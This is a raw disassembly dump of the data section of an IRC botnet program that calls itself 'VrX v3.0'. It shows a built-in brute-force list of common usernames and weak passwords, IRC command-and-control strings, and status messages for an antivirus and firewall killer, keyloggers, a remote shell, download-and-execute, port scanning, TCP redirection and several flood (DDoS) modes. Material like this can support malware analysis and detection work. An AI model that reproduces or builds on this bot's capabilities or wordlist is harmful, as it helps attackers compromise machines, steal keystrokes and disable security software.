aFuck		db 'fuck',0             ; DATA XREF: ___:00429420o
		align 4
aExchange	db 'exchange',0         ; DATA XREF: ___:0042941Co
		align 10h
aBackup		db 'backup',0           ; DATA XREF: ___:00429418o
		align 4
aTechnical	db 'technical',0        ; DATA XREF: ___:00429414o
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: ___:00429410o
		align 10h
aLogin		db 'login',0            ; DATA XREF: ___:0042940Co
		align 4
aMary		db 'mary',0             ; DATA XREF: ___:00429408o
		align 10h
aKatie		db 'katie',0            ; DATA XREF: ___:00429404o
		align 4
aKate		db 'kate',0             ; DATA XREF: ___:004293FCo
		align 10h
aGeorge		db 'george',0           ; DATA XREF: ___:004293F8o
		align 4
aEric		db 'eric',0             ; DATA XREF: ___:004293F4o
		align 10h
aChris		db 'chris',0            ; DATA XREF: ___:004293F0o
		align 4
aIan		db 'ian',0              ; DATA XREF: ___:004293ECo
aNeil		db 'neil',0             ; DATA XREF: ___:004293E8o
		align 4
aLee		db 'lee',0              ; DATA XREF: ___:004293E4o
aBrian		db 'brian',0            ; DATA XREF: ___:004293E0o
		align 10h
aSusan		db 'susan',0            ; DATA XREF: ___:004293D8o
		align 4
aSue		db 'sue',0              ; DATA XREF: ___:004293D4o
aSam		db 'sam',0              ; DATA XREF: ___:004293D0o
aLuke		db 'luke',0             ; DATA XREF: ___:004293CCo
		align 4
aPeter		db 'peter',0            ; DATA XREF: ___:004293C8o
					; ___:004293DCo
		align 10h
aJohn		db 'john',0             ; DATA XREF: ___:004293C4o
		align 4
aMike		db 'mike',0             ; DATA XREF: ___:004293C0o
		align 10h
aBill		db 'bill',0             ; DATA XREF: ___:004293BCo
		align 4
aFred		db 'fred',0             ; DATA XREF: ___:004293B8o
		align 10h
aJoe		db 'joe',0              ; DATA XREF: ___:004293B4o
aJen		db 'jen',0              ; DATA XREF: ___:004293B0o
aBob		db 'bob',0              ; DATA XREF: ___:004293ACo
					; ___:00429400o
aQwe		db 'qwe',0              ; DATA XREF: ___:004293A8o
aZxc		db 'zxc',0              ; DATA XREF: ___:004293A4o
aAsd		db 'asd',0              ; DATA XREF: ___:004293A0o
aQaz		db 'qaz',0              ; DATA XREF: ___:0042939Co
aWin2000	db 'win2000',0          ; DATA XREF: ___:00429398o
aWinnt		db 'winnt',0            ; DATA XREF: ___:00429394o
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: ___:00429390o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: ___:0042938Co
		align 4
aWin98		db 'win98',0            ; DATA XREF: ___:00429388o
		align 4
aWindows	db 'windows',0          ; DATA XREF: ___:00429384o
aOeminstall	db 'oeminstall',0       ; DATA XREF: ___:00429380o
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: ___:0042937Co
aOem		db 'oem',0              ; DATA XREF: ___:00429378o
aUser		db 'user',0             ; DATA XREF: sub_401ACD+45CFo
					; ___:00429374o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: ___:00429370o
		align 4
aHome		db 'home',0             ; DATA XREF: ___:0042936Co
		align 10h
aAccounting	db 'accounting',0       ; DATA XREF: ___:00429368o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: ___:00429364o
		align 4
aInternet	db 'internet',0         ; DATA XREF: ___:00429360o
					; ___:004294BCo
		align 4
aWww		db 'www',0              ; DATA XREF: ___:0042935Co
aWeb		db 'web',0              ; DATA XREF: sub_401ACD+7283o
					; ___:00429358o
aOutlook	db 'outlook',0          ; DATA XREF: ___:00429354o
aMail		db 'mail',0             ; DATA XREF: ___:00429350o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:0042934Co
		align 4
aNull_1		db 'null',0             ; DATA XREF: ___:00429348o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Bo
					; ___:00429340o
		align 4
aSystem		db 'system',0           ; DATA XREF: ___:0042933Co
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:00429334o
		align 4
aLinux		db 'linux',0            ; DATA XREF: ___:00429330o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: ___:0042932Co
		align 4
aDemo		db 'demo',0             ; DATA XREF: ___:00429328o
		align 10h
aNone		db 'none',0             ; DATA XREF: ___:00429324o
		align 4
aTest		db 'test',0             ; DATA XREF: ___:0042931Co
		align 10h
a2004		db '2004',0             ; DATA XREF: ___:00429318o
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41AF8F+BAo
					; ___:00429314o
		align 10h
a2002		db '2002',0             ; DATA XREF: ___:00429310o
		align 4
a2001		db '2001',0             ; DATA XREF: ___:0042930Co
		align 10h
a2000		db '2000',0             ; DATA XREF: ___:00429308o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: ___:00429304o
		align 4
a123456789	db '123456789',0        ; DATA XREF: ___:00429300o
		align 10h
a12345678	db '12345678',0         ; DATA XREF: ___:004292FCo
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:004292F8o
a123456		db '123456',0           ; DATA XREF: ___:004292F4o
		align 4
a12345		db '12345',0            ; DATA XREF: ___:004292F0o
		align 4
a1234		db '1234',0             ; DATA XREF: ___:004292ECo
		align 4
a123		db '123',0              ; DATA XREF: ___:004292E8o
a12		db '12',0               ; DATA XREF: ___:004292E4o
		align 4
a1:					; DATA XREF: ___:0040AFC7o
					; ___:004292E0o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: ___:004292DCo
aPwd		db 'pwd',0              ; DATA XREF: ___:004292D8o
aPass		db 'pass',0             ; DATA XREF: ___:004292D4o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: ___:004292D0o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: ___:004292CCo
		align 4
aPassword	db 'password',0         ; DATA XREF: ___:004292C8o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: ___:004292C4o
		align 4
aAdm		db 'adm',0              ; DATA XREF: ___:004292C0o
aDb2		db 'db2',0              ; DATA XREF: ___:00429468o
aOracle		db 'oracle',0           ; DATA XREF: ___:00429480o
		align 4
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: ___:00429448o
		align 4
aDefault	db 'default',0          ; DATA XREF: ___:00429338o
aGuest_0	db 'guest',0            ; DATA XREF: ___:00429320o
		align 4
aWwwadmin	db 'wwwadmin',0
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: ___:004294C8o
aStudent	db 'student',0          ; DATA XREF: ___:004294C4o
aOwner		db 'owner',0
		align 4
aComputer	db 'computer',0
		align 4
aRoot		db 'root',0             ; DATA XREF: ___:00429344o
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:004294CCo
		align 4
aAdmin		db 'admin',0            ; DATA XREF: ___:004292BCo
		align 4
aAdmins		db 'admins',0           ; DATA XREF: ___:004292B8o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: ___:004292B4o
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:004292B0o
		align 10h
aAdministrador	db 'administrador',0    ; DATA XREF: ___:004292ACo
		align 10h
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:004292A8o
		align 10h
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429174o
		align 10h
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 10h
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 10h
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429168o
		align 10h
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429164o
dword_4299DC	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 10h
dword_429A10	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_429A3C	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_429A7C	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 10h
dword_429AA0	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_429ABC	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429AC8	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
dword_429AD0	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_4100B4+EAo ...
unk_429AD8	db    3			; DATA XREF: sub_4017ED+F2o
a81VrxConnected	db '8,1-VrX- Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do
		align 4
unk_429B3C	db    3			; DATA XREF: sub_401ACD+7CF9o
a81VrxUserSLogg	db '8,1-VrX- User: %s logged in.',0
		align 4
unk_429B5C	db    3			; DATA XREF: sub_401ACD+7CDCo
a81VrxPasswordA	db '8,1-VrX- Password accepted.',0
		align 4
unk_429B7C	db    3			; DATA XREF: sub_401ACD+7C7Bo
a81VrxFailedHos	db '8,1-VrX- *Failed host auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C52o
		align 10h
unk_429BD0	db    3			; DATA XREF: sub_401ACD+7C14o
a81VrxFailedPas	db '8,1-VrX- *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C02o
					; sub_401ACD+7C69o
		align 4
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7BEBo
		align 10h
asc_429C50:				; DATA XREF: sub_401ACD+7BBBo
		unicode	0, <~>,0
unk_429C54	db    3			; DATA XREF: sub_401ACD+7B6Bo
a81VrxRandomNic	db '8,1-VrX- Random nick change: %s',0
		align 4
unk_429C78	db    3			; DATA XREF: sub_401ACD+7AFDo
a81VrxReconnect	db '8,1-VrX- Reconnecting in %s seconds',0
		align 10h
unk_429CA0	db    3			; DATA XREF: sub_401ACD+7AB9o
a81VrxReconne_0	db '8,1-VrX- Reconnecting in %s ms',0
unk_429CC0	db    3			; DATA XREF: sub_401ACD+7A99o
a81VrxNickChang	db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429CE4	db    3			; DATA XREF: sub_401ACD+7A7Do
a81VrxJoinedCha	db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0
unk_429D04	db    3			; DATA XREF: sub_401ACD+7A5Ao
a81VrxPartedCha	db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0
unk_429D24	db    3			; DATA XREF: sub_401ACD+7A3Eo
a81VrxIrcRawS_	db '8,1-VrX- IRC Raw: %s.',0
		align 4
unk_429D3C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40948Ao
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
unk_429D68	db  2Dh	; -		; DATA XREF: sub_401ACD+79B6o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429D8C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40943Do
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429DB4	db  2Dh	; -		; DATA XREF: sub_401ACD+7966o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+794Co
unk_429DE0	db    3			; DATA XREF: sub_401ACD+7848o
a81VrxPrefixCha	db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_429E04	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409300o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E28	db  2Dh	; -		; DATA XREF: sub_401ACD+7829o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429E48	db    3			; DATA XREF: sub_401ACD+7809o
a81VrxServerCha	db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429E6C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4092BDo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_429E94	db  2Dh	; -		; DATA XREF: sub_401ACD+77C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_429EB4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409255o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_429EE4	db  2Dh	; -		; DATA XREF: sub_401ACD+777Eo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429F04	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4091F5o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F34	db  2Dh	; -		; DATA XREF: sub_401ACD+7721o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429F58	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+76DFo
		dd 27732527h, 2Eh
unk_429F74	db  2Dh	; -		; DATA XREF: sub_401ACD+7667o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429F98	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+75ECo
		dd 0
unk_429FB0	db  2Dh	; -		; DATA XREF: sub_401ACD+75BFo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 10h
dword_429FF0	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+7550o
		dd 2Eh
dword_42A008	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_408F9Do
		dd 746E6573h, 2Eh
unk_42A024	db  2Dh	; -		; DATA XREF: sub_401ACD+74C9o
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_42A044	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+748Fo
		dd 732520h
unk_42A05C	db  2Dh	; -		; DATA XREF: sub_401ACD+7481o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_42A088:				; DATA XREF: sub_401ACD+7469o
					; sub_4100B4+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42A08C	db    3			; DATA XREF: sub_401ACD+7441o
a81VrxReadFileF	db '8,1-VrX- Read file failed: %s',0
		align 4
unk_42A0AC	db    3			; DATA XREF: sub_401ACD+7436o
a81VrxReadFileC	db '8,1-VrX- Read file complete: %s',0
		align 10h
aUnknowModeType	db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o
		align 4
aFailedToStartL	db 'Failed to start logging thread, error: <%d>.',0
					; DATA XREF: sub_401ACD+73B4o
		align 4
aNormalKeyLogge	db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do
		align 10h
aNormal_0	db 'normal',0           ; DATA XREF: sub_401ACD+72EDo
		align 4
aKeylogerAlread	db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o
		align 4
aVrxV3_0SitesKe	db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o
					; sub_401ACD+72E5o
		align 4
aKeylog_0	db 'Keylog',0           ; DATA XREF: sub_401ACD+7231o
		align 10h
unk_42A180	db    3			; DATA XREF: sub_401ACD+7216o
a81VrxGethostS_	db '8,1-VrX- Gethost: %s.',0
		align 4
unk_42A198	db    3			; DATA XREF: sub_401ACD+71D2o
a81VrxUnableToE	db '8,1-VrX- Unable to extract Gethost command.',0
		align 4
unk_42A1C8	db    3			; DATA XREF: sub_401ACD+71B6o
a81VrxGethostSC	db '8,1-VrX- Gethost: %s, Command: %s',0
		align 4
unk_42A1EC	db    3			; DATA XREF: sub_401ACD+7119o
a81VrxAliasAdde	db '8,1-VrX- Alias added: %s.',0
		align 4
unk_42A208	db    3			; DATA XREF: sub_401ACD+70E7o
a81VrxPrivmsgSS	db '8,1-VrX- Privmsg: %s: %s.',0
		align 4
unk_42A224	db    3			; DATA XREF: sub_401ACD+7096o
a81VrxActionSS_	db '8,1-VrX- Action: %s: %s.',0
		align 10h
dword_42A240	dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0
					; DATA XREF: sub_401ACD+7028o
dword_42A254	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+6FEEo
					; sub_401ACD+7A49o
unk_42A260	db    3			; DATA XREF: sub_401ACD+6FC7o
a81VrxModeChang	db '8,1-VrX- Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+6FB6o
		align 4
dword_42A288	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+6F8Do
		dd 25203A29h, 73h
dword_42A2A4	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+6F1Fo
		dd 203A2973h, 7325h
dword_42A2C0	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6EC7o
dword_42A2C8	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6E95o
		dd 203A2973h, 7325h
dword_42A2E4	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6E1Do
dword_42A2F0	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6DEBo
					; sub_401ACD+6E71o ...
dword_42A2F8	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6DB6o
dword_42A300	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D79o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42A33C	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D0Eo
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_42A368	db  2Dh	; -		; DATA XREF: sub_401ACD+6CA8o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A3A4	db  2Dh	; -		; DATA XREF: sub_401ACD+6C39o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42A3D8	db    3			; DATA XREF: sub_401ACD+6B9Do
a81VrxRepeatNot	db '8,1-VrX- Repeat not allowed in command line: %s',0
		align 4
unk_42A40C	db    3			; DATA XREF: sub_401ACD+6B60o
a81VrxRepeatS	db '8,1-VrX- Repeat: %s',0
		align 4
dword_42A424	dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0
					; DATA XREF: sub_401ACD:loc_408591o
dword_42A438	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6A84o
					; sub_401ACD+6B37o ...
dword_42A448	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4084F0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 10h
dword_42A490	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A19o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42A4CC	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+69AAo
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+6904o
		align 4
dword_42A504	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+68A2o
		dd 7325203Ah, 0
unk_42A520	db  2Dh	; -		; DATA XREF: sub_401ACD+6897o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A544	db  2Dh	; -		; DATA XREF: sub_401ACD+67FDo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A580	db  2Dh	; -		; DATA XREF: sub_401ACD+6787o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 10h
dword_42A5B0	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40818Do
					; sub_401ACD:loc_4091C7o
unk_42A5BC	db  2Dh	; -		; DATA XREF: sub_401ACD+66ABo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_42A5E0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408156o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A618	db  2Dh	; -		; DATA XREF: sub_401ACD+667Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A650	db  2Dh	; -		; DATA XREF: sub_401ACD+660Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A67C	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+658Co
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A6B8	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+651Do
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A6E8	db  2Dh	; -		; DATA XREF: sub_401ACD+64A4o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A720	db  2Dh	; -		; DATA XREF: sub_401ACD+6435o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A750	db  2Dh	; -		; DATA XREF: sub_401ACD+63ABo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A788	db  2Dh	; -		; DATA XREF: sub_401ACD+633Co
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A7B8	db  2Dh	; -		; DATA XREF: sub_401ACD+62C3o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A7F0	db  2Dh	; -		; DATA XREF: sub_401ACD+6254o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A82C	db  2Dh	; -		; DATA XREF: sub_401ACD+61DBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42A86C	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+616Co
aDownloadingUrl	db '- Downloading URL: %s to: %s.',0
		align 4
unk_42A898	db  2Dh	; -		; DATA XREF: sub_401ACD+609Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A8DC	db  2Dh	; -		; DATA XREF: sub_401ACD+602Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A918	db    3			; DATA XREF: sub_401ACD+5F31o
a81Sc@nPortScan	db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5E85o
		align 10h
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5DB0o
		align 10h
dword_42A970	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5D22o
					; sub_401ACD+7074o
unk_42A97C	db  2Dh	; -		; DATA XREF: sub_401ACD+5CC0o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A9B8	db  2Dh	; -		; DATA XREF: sub_401ACD+5C51o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42AA08	db    3			; DATA XREF: sub_401ACD+5BBAo
					; sub_401ACD+5FA0o
a81Sc@nFailedTo	db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42AA40	db    3			; DATA XREF: sub_401ACD+5B4Bo
a81Sc@nSPortSca	db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second'
		db 's for %d minutes using %d threads.',0
		align 4
unk_42AAA8	db    3			; DATA XREF: sub_401ACD+59D5o
a81Sc@nFailed_0	db '8,1-SC@N- Failed to start scan, no IP specified.',0
		align 4
unk_42AADC	db    3			; DATA XREF: sub_401ACD+5978o
a81Sc@nFailed_1	db '8,1-SC@N- Failed to start scan, port is invalid.',0
		align 10h
unk_42AB10	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_407320o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
